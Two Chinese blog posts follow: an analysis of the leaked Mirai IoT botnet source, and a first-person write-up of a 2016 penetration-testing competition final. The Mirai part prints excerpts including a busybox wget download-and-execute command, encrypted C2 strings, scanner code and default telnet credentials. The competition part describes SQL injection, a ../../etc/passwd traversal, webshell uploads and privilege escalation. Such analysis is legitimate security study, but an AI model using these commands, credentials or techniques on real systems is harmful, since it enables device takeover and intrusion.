其实 loader/bins 目录下就是叫 dlr 的程序的各种架构的二进制编译版本。因为本机恰好有 IDA,里面有 Hex-Rays,可以反编译 x86 架构的程序,于是我就从 dlr.x86 文件入手了。打开文件,按下 F5 查看伪代码,发现几乎所有的函数都无法解析,然而汇编我又不熟,所以只能看唯一一个可以解析的函数 sub_804819D。大部分代码都看不懂(其实解析出来的代码只有 61 行),但是里面有这么一段:

1
2
if (sub_8048146(v3, "GET /bins/mirai.x86 HTTP/1.0\r\n\r\n", i + 29) != i + 29)
sub_80480E0(3);

这是尝试加载一个文件。然而我没能获取到这个文件,因此只能作罢。

加载完二进制之后,接着创建一个服务器:

1
2
3
4
if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL) {
printf("Failed to initialize server. Aborting\n");
return 1;
}

之后可以通过这个服务器进行 tftp/wget 的下载,以及文件读写操作,代码中大量调用了 busybox 的功能,例如:

1
util_sockprintf(conn->fd, "/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n", wrker->srv->wget_host_ip, wrker->srv->wget_host_port, "mirai", conn->info.arch);

所以可见搭载 busybox 的系统是其目标之一。此外这个服务器还有其它的功能,例如建立 Telnet 连接(地址需要手动输入),显示全部连接的状态,这应该是监控病毒状态用的。

病毒本体部分

实用工具

badbot.c

显示指定的 bot 信息,然而里面只有一句 printf,不知道意义何在。

enc.c

常用数据类型(stringipuint32uint16uint8bool)的加解密。

nogdb.c

修改 ELF 文件头,使得其无法在 GDB 中运行。

scanListen.go

监视扫描器的扫描记录。

single_load.c

加载指定 IP:Port 下面指定的文件,估计是用于运行远程服务器上的病毒。

wget.c

用于下载文件。

攻击模块

攻击模块的作用是向 DDoS 的目标发起攻击,相关的代码在 mirai/bot/attack*.c 文件中,其中 attack.c 是主入口,里面写了“开始攻击”、“结束攻击”、“攻击选项”等通用的功能;其它的都是分别对应 TCP、UDP 等协议的攻击程序。攻击的选项有好多,例如目标 IP、是否分片、每次发送的长度、是否发送随机数据等。攻击的时候,首先非阻塞地连接目标,然后尝试获取服务器信息,如果获取到了,说明服务器存活,就开始不断发送数据。

killer 模块

killer 模块的作用是杀死本机的一些特定服务,例如 ssh、telnet、http,并绑定它们的端口,防止服务重新启动。值得注意的是,扫描服务的时候是通过端口扫描的,即杀死使用 22、23、80 端口的程序,但是如果服务的端口被修改过,就可以幸免遇难。当然,考虑到本机其实是个物联网设备,因此几乎没有人会做这样的修改。

checksum.c、rand.c、resolve.c

这些文件虽然更像工具集(在 mirai/tools 目录下),但是是病毒文件需要用到的,因此就跟病毒放到了一块。

checksum.c 可以实现简单的校验功能。

rand.c 可以生成下一个随机数、生成指定长度的随机字符串、生成指定长度的字母串。

resolve.c 可以进行域名解析。

扩展的 C 函数

不知道为啥作者会写一个 util.c 进去,里面是各种 C 语言函数的实现,例如 strlentrncmpstrcmpstrcpymemcpy 等。

常量列表

文件 table.c 里面存了一份常量列表,大概长这样:

1
2
3
4
5
6
7
void table_init(void) {
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30);
add_entry(TABLE_CNC_PORT, "\x22\x35", 2);
add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29);
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2);
// 下面省略若干内容
}

后面的字符串看不懂怎么办?没关系,我们看到 table.h 就知道了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Attack strings */
#define TABLE_ATK_VSE 29 /* TSource Engine Query */
#define TABLE_ATK_RESOLVER 30 /* /etc/resolv.conf */
#define TABLE_ATK_NSERV 31 /* "nameserver " */
#define TABLE_ATK_KEEP_ALIVE 32 /* "Connection: keep-alive" */
#define TABLE_ATK_ACCEPT 33 // "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" // */
#define TABLE_ATK_ACCEPT_LNG 34 // "Accept-Language: en-US,en;q=0.8"
#define TABLE_ATK_CONTENT_TYPE 35 // "Content-Type: application/x-www-form-urlencoded"
#define TABLE_ATK_SET_COOKIE 36 // "setCookie('"
#define TABLE_ATK_REFRESH_HDR 37 // "refresh:"
#define TABLE_ATK_LOCATION_HDR 38 // "location:"
#define TABLE_ATK_SET_COOKIE_HDR 39 // "set-cookie:"
#define TABLE_ATK_CONTENT_LENGTH_HDR 40 // "content-length:"
#define TABLE_ATK_TRANSFER_ENCODING_HDR 41 // "transfer-encoding:"
#define TABLE_ATK_CHUNKED 42 // "chunked"
#define TABLE_ATK_KEEP_ALIVE_HDR 43 // "keep-alive"
#define TABLE_ATK_CONNECTION_HDR 44 // "connection:"
#define TABLE_ATK_DOSARREST 45 // "server: dosarrest"
#define TABLE_ATK_CLOUDFLARE_NGINX 46 // "server: cloudflare-nginx"
/* User agent strings */
#define TABLE_HTTP_ONE 47 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */
#define TABLE_HTTP_TWO 48 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */
#define TABLE_HTTP_THREE 49 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */
#define TABLE_HTTP_FOUR 50 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */
#define TABLE_HTTP_FIVE 51 /* "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" */

随便举了一段,注释里面就是解密之后的字符串。

扫描器模块

程序会 fork 出一个子进程来扫描。扫描过程发送的请求中,本机端口为随机端口,目标机端口为 23 和 2323,目标 IP 是随机选取的,选取的方法是,先生成一个随机 IP,如果发现这个 IP 是本地回环等没有攻击价值的 IP,就跳过继续生成下一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
do {
tmp = rand_next();
o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);

连接成功后,尝试使用各种设备的默认账号和密码登录,程序内置了一份默认账户列表:

1
2
3
4
5
6
// Set up passwords
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
// 此处省略若干行
add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech
add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother fucker

若可以登录,则将该 IP、端口、账号信息发送到 TABLE_SCAN_CB_DOMAIN:TABLE_SCAN_CB_PORT 中。

主程序

主程序就是 main.c 了,首先反调试、禁止 watchdog/dev/misc 重启设备,然后确保只有一个实例运行(判断 48101 端口是否已被连接),然后隐藏进程名称,fork 出一个子进程并结束自身,子进程继续开启攻击模块、killer 模块、扫描器,最后连接到一个管理后端并监听控制者发起的各种指令。

管理后端

这是一个用 Go 语言写的、攻击者本地运行的命令行服务端,可以向已连接到本机的 bot 发送攻击命令。由于此处与病毒原理无关,因此不做过多分析。


分析了这么久,感觉这个 Mirai 不仅仅是一个病毒,而是一套完整的“控制端+bot+工具集”的解决方案。Mirai 的原作者在论坛中的帖子内容语气狂妄,嘲讽那些尝试反编译 Mirai 的人们:

However, I know every skid and their mama, it’s their wet dream to have something besides qbot.
So, I am your senpai, and I will treat you real nice, my hf-chan.
Don’t make me laugh please, you made so many mistakes and even confused some different binaries with my. LOL
Why are you writing reverse engineer tools? You cannot even correctly reverse in the first place.

作者将此工程发出来的原因是“我已经赚到钱了,你们又逐渐把目光转向了我用来赚钱的物联网设备,所以是时候把我这套方案发出来了”,当然这次的攻击来源也是迄今为止规模最大的、由物联网设备组成的僵尸网络。

据说此次受影响的大部分物联网设备都将默认密码硬编码到了硬件里,因此无法修补漏洞。Mirai 的发布,迫使大家越来越重视物联网安全。有网友笑称:“以后都不敢开灯了。”只能希望,这种情况不会成为我们的 Mirai(未来)。

2016 天翼杯信息安全竞赛决赛的一些经历

得益于初赛我们的好人品,今年又去决赛水了一波。然而最终我们只拿到了第八名,居然还是个二等奖,难道所有的信安竞赛都是 3-5-8 的奖项分配么?比赛的时候没有好好记录做题经过,但是感觉还是蛮刺激的,所以就凭仅剩的记忆,尽可能复原当时的场景吧!

决赛的形式是渗透测试,断网,禁止与外界交流,手机等设备都需要寄存,现场也没有任何可用的无线网(破掉密码也不敢用,万一是主办方的蜜罐呢)。每个队伍都是一个独立的环境,外加一个独立的答题系统和 Hash 查询服务,选手不得攻击靶机以外的任何机器。选手需要使用自己的电脑进行比赛,电脑中允许携带任何软件、文档。

靶机其实是五台服务器,功能如下:

1
2
3
4
5
* 192.168.100.101(下文简写 1):资产管理系统
* 192.168.100.102(下文简写 2):门户网站
* 192.168.100.103(下文简写 3):信息发布平台(论坛)
* 192.168.100.104(下文简写 4):文件服务器
* ???.???.???.???(下文简写 5):某数据库服务器(IP 未提供)

答题系统中有各种题目,都是让我们获取各种敏感信息然后提交。具体答案我已经忘得差不多了,所以只能把当时的过程写一写了。当时我跟 @SummerZhang 一起做,@WolfZhang 和 @黑白 一起做,彼此交流不太够,这也是我们的一个缺点吧。

比赛刚开始,@SummerZhang 就用 Nmap 扫了一下靶机的网段,发现了那个隐藏的 IP 是 192.168.100.245,于是轻松过掉一道题(给出隐藏的 IP 地址)。

1 的端口只开了 22 和 8080,其中 22 是 ssh 服务,对于用户名和密码我们没有任何头绪。8080 打开之后跳转到了一个不存在的网址 192.168.100.101:8080/jxc/,我抓包看了一下,发现其实 192.168.100.101:8080 是正常返回的,里面有一个 key 以及一段网页跳转的代码,于是又拿下一题(给出 1 中隐藏的 key)。这应该算是签到题。然而 1 的其它题目连入口在哪儿都找不到,所以只能看别的服务器了。

很容易发现 2 有一个登录界面,但是 admin 的密码我们也没头绪,注册新用户也没什么用,扫过全部的表单也没发现什么可注入的地方,一看编辑器用的是 FCKeditor,第一印象:那肯定是有文件上传漏洞了。然而并不能成功。过了一会儿 @黑白 在一个非常奇怪的地方(我也不知道他怎么找到的)扫出来一个 SQL 注入,是个 boolean-based 盲注,开了多线程之后效率还是挺高的。于是 dump 出 admin 的密码 Hash,不过数据库中有两条记录,通过 Hash 查询服务反查得到原文,发现一条是真正的密码,一条是 1 中的一个链接 192.168.100.101:8080/level2jxc/。于是进入了后台并过掉一题(给出 admin 的密码)。我们还惊讶的发现可以 dump 出 mysql 表,说明这个系统居然是用 root 权限连接的数据库!典型的运维跑路系列……于是又过掉一题(给出 2 中数据库 root 的密码)。然后我们顺理成章地传了一个菜刀(这居然是个 Windows 服务器),获取到了一个指定文件的内容,又过掉一道题。看到后面的题目应该需要提权(获取 2 中 C:/1.exe 中的 key),我们打算换一个服务器,过会儿再尝试 2 的提权。

3 中的论坛非常难搞,所有扫描器全开没有任何效果,只是扫出了站点结构。看了一下,感觉里面的 template 很可疑,因为作者在模板文件(一般论坛的模板后缀都是 .html)中使用了大量的 PHP 代码来处理业务逻辑,于是我就自己开始了类似于源码审计的工作。我看到了里面的 $_GET,以及作者自己写的它的副本 $GET 和不知道干什么用的 $SET,看到了通过 $_G[USER][ID] 来判断用户权限,所以一直在想能不能用变量覆盖,但是这一块我掌握的并不好,所以最终还是放弃了。于是猜想是管理员账号弱密码。点开管理员资料发现其账号是 test(我还嘲讽 @SummerZhang 一定没用过论坛,不然连用户账号都不知道怎么获取),看到了开发者的各种信息。然而我试了诸如 admin123puyuetian(开发者)、632827168(QQ)、hadsky(论坛架构)、testuser 等密码都不行,于是只能放弃 3,去看另一台服务器。

按照题目要求(分析 4 中的 Net_Server.exe 文件,获取其中管理员的密码),我们得到了 4 中的一个 exe 文件,@SummerZhang 刚想逆向,我说你先用 strings 搞一下,万一就明文存进去了呢?于是在输出的最开始找到了两行,一行是 admin,另一行是 passw0rd,猜想后者就是密码,提交之后果然过掉了这道题。4 的提权没有什么思路,Linux 的提权工具我们这次都没带,所以只能作罢。

我们再次将目光转向 1,刚才给出的链接就是真正的资产管理系统登录界面。右下角有个系统手册下载,看链接 download.jsp?path=upload&amp;name=handbook.zip 应该是有文件下载漏洞,试了一下 download.jsp?path=/&amp;name=../../../../../etc/passwd 果然可以,于是果断拿到了目录下的一个文件并过掉一道题。后面一道题是给出资产管理系统用户 tom 的密码,我们本来想通过 /etc/shadow 获取 root 的密码,然后通过 ssh 连接过去。结果发现这个文件并没法下载,说明还是有权限问题的。于是转换思路,看了一遍扫到的全部文件,发现登录是用 dwr 实现的,并不是网页中写的那个 formaction,抓包后发现格式好奇怪,都没法用 sqlmap 跑注入的。无意中发现有一个 loginService 的单元测试,点进去之后发现可以看到 loginService 中的全部方法名,并且可以直接远程执行代码,然而我们并不知道具体的参数,于是将所有扫到的文件全部 dump 下来,JSP 文件没什么好看的,基本都是 HTML;class 文件用 jd-gui 来看,但是 loginService 类中的 login 函数居然没法被解析出来,adminPwEdit 似乎可以修改管理员密码,但是服务器就是想要这个密码,所以应该也没什么用处。于是这个服务器又到了一个比较尴尬的状态。

好吧继续看 2。@SummerZhang 在 Kali linux 下通过 Armitage 连接到了这台服务器,但是权限是个临时的低权限。Windows 的提权工具我跟他都没带,不过在这紧要关头 @黑白 贡献出了他的工具集,然而说这些工具都好老了,不确定行不行。抱着试试看的心态,我们找了一个名字最好听的工具:“Windows 通杀提权”,按照说明将两个文件上传到服务器,然后按照说明执行了一遍,发现用户变成了 SYSTEM,但是还是不能获取到那个文件,这太神奇了。于是又想到了远程桌面,但是经过尝试 SYSTEM 似乎弹不出远程桌面,于是凭借着高权限在命令行中使用 net user add 新建了一个账号并将其加入 Administrators 用户组,但是连过去还是提示密码错误。看了一眼用户列表,发现并没有新建成功,后来猜想可能是密码太简单,于是 @SummerZhang 作死设了一个超奇怪的密码 !@#$asdfQWER,然后过了两分钟他自己给忘了……总之最后连进去了,然后右键 1.exe ,将 Everyone 的权限改成“完全控制”,然后直接用菜刀下载下来了。@SummerZhang 刚想逆向,我又说咱们再 strings 一下呗……然而输出很奇怪,居然发现了 JFIF 的字样,我还吐槽他们是嵌了一张图片进去么,然后随手用 file 命令看了一下,发现这特么就是张 JPEG 图片……于是修改后缀点开发现了画在图片里面的 key 并过掉了这个服务器环境中的最后一题。

5 通过浏览器访问会有一个登录界面,但是用户名和密码都不知道。主办方提示是弱口令爆破,第一印象是需要爆破 sa 的口令,但是最终没能爆破出结果。最后得知密码是 root_123 之后,暗自决定:下次比赛带的字典一定要弱一些……

此时 3 还是没有任何进展。在距离比赛结束只剩不到一个小时、各种攻击方式无果的时候,@WolfZhang 居然破出来了 test 账户的弱密码 111111,好吧,我们想到了是弱密码,但是没想到有这么弱。我眼疾手快登进了后台,修改了可上传文件的后缀和大小,然后传了个菜刀进去,结果发现居然不能被执行?然而不知道为什么 @WolfZhang 上传的一个 70 多 K 的大马却可以执行,打开发现是一个登录界面,于是去翻源码,发现了写死在里面的账号和密码,登进去之后功能还挺全,可以看有权限的任意文件和目录、在任何有权限的地方上传/下载文件、执行 PHP 代码/SQL 代码、端口扫描等等。果断翻了一下网站代码,找到了数据库的密码并过掉一道题(获取数据库的连接密码),然后拿到一个有权限的文件并过掉一道题(获取 C:/1.txt 中的内容),然后题目中的下一个文件需要提权,果断将之前的提权工具外加 Armitage 生成的各种 reverse_tcp、vnc 程序一块上传上去(vnc 是为了获取 360 杀毒软件白名单中的文件名)。只不过比较尴尬的是,服务器禁用了 PHP 中一切可执行 shell 命令的函数,包括 execshell_execsystem 等,所以并不知道该怎么通过 webshell 运行那些 exe 文件。联想到两年前 @SummerZhang 将可执行文件直接上传到 cgi-bin 目录下最终成功执行木马的思路(传送门:Web 服务器 CGI 安全——由一次信息安全竞赛引发的思考),我们又做了一次尝试,发现目标机的 cgi-bin 默认是开启的,但是上传的文件都没法正常运行,都会秒退,写了 bat 来运行也不行。猜想是我们的木马在运行的时候被 360 干掉了,但是做了免杀好像也不行,所以又一次陷入了僵局。此时比赛的时间已经结束,我们只能停止目前的操作。


听其他队伍的选手说,这次决赛是有真的逆向题目的,然而我们水平有限没能做到那个地方。此外,这次决赛给我的感觉就是:各种提权,各种爆破,比初赛只有各种爆破好多了。

顺便提一句,感觉 Armitage 真的好好用啊,有空一定好好熟悉一下。

其实对于第八名的成绩,我内心还是不太满足的,然而转念一想,我一个平时画界面的,偶尔搞一搞安全,能拿到这个名次也不算太差是吧……